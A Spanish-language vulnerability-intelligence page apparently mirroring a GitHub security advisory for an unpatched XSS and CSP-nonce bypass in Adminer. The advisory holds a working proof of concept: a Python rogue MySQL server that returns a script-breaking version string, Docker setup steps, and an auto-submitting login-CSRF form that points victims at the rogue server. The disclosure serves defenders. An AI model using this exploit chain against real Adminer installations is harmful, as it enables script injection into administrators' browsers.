llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-H6JR-7PR6-GRGJ

XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
6.1
Media
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición135 dDesde la divulgación, 9 jul 2026, 6:16 a. m.
Detección134 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Hoy toca mantenimiento, no heroísmo.Ni pánico ni ignorarla: término medio.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
12 ago 26
21 nov 26
9 jul 26
12 ago 26
15 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-H6JR-7PR6-GRGJ divulgada · CVSS 6.1 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Adminer inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Prerequisites

  • Target runs Adminer
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

`adminer.inc.php`, line 1081:

echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");

`script()` wraps the output in `<script nonce="VALID_NONCE">`. The `preg_replace` regex expects a standard version like `5.7.38` and extracts the first two digits. When the version string does NOT start with `digit` + `digit or dot`, the regex fails to match and `preg_replace` returns the original string unchanged.

Steps To Reproduce

1. Build the environment

Dockerfile (Adminer):

FROM php:8.3-cli
COPY adminer.php /var/www/adminer.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
2. Trigger the XSS

Open a browser and navigate to `http://localhost:8081/adminer.php`:

  1. Select driver: MySQL
  2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)
  3. Username: `root`
  4. Password: `x`
  5. Click Login.

The rogue server accepts the login. Adminer renders the dashboard and includes:

<script nonce="REAL_NONCE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>

The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.

3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

<form id="f" method="POST" action="http://TARGET/adminer.php">
  <input name="auth[driver]" value="server">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex https://github.com/voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:L
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
vrana/adminer≤ 5.4.2
5.4.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.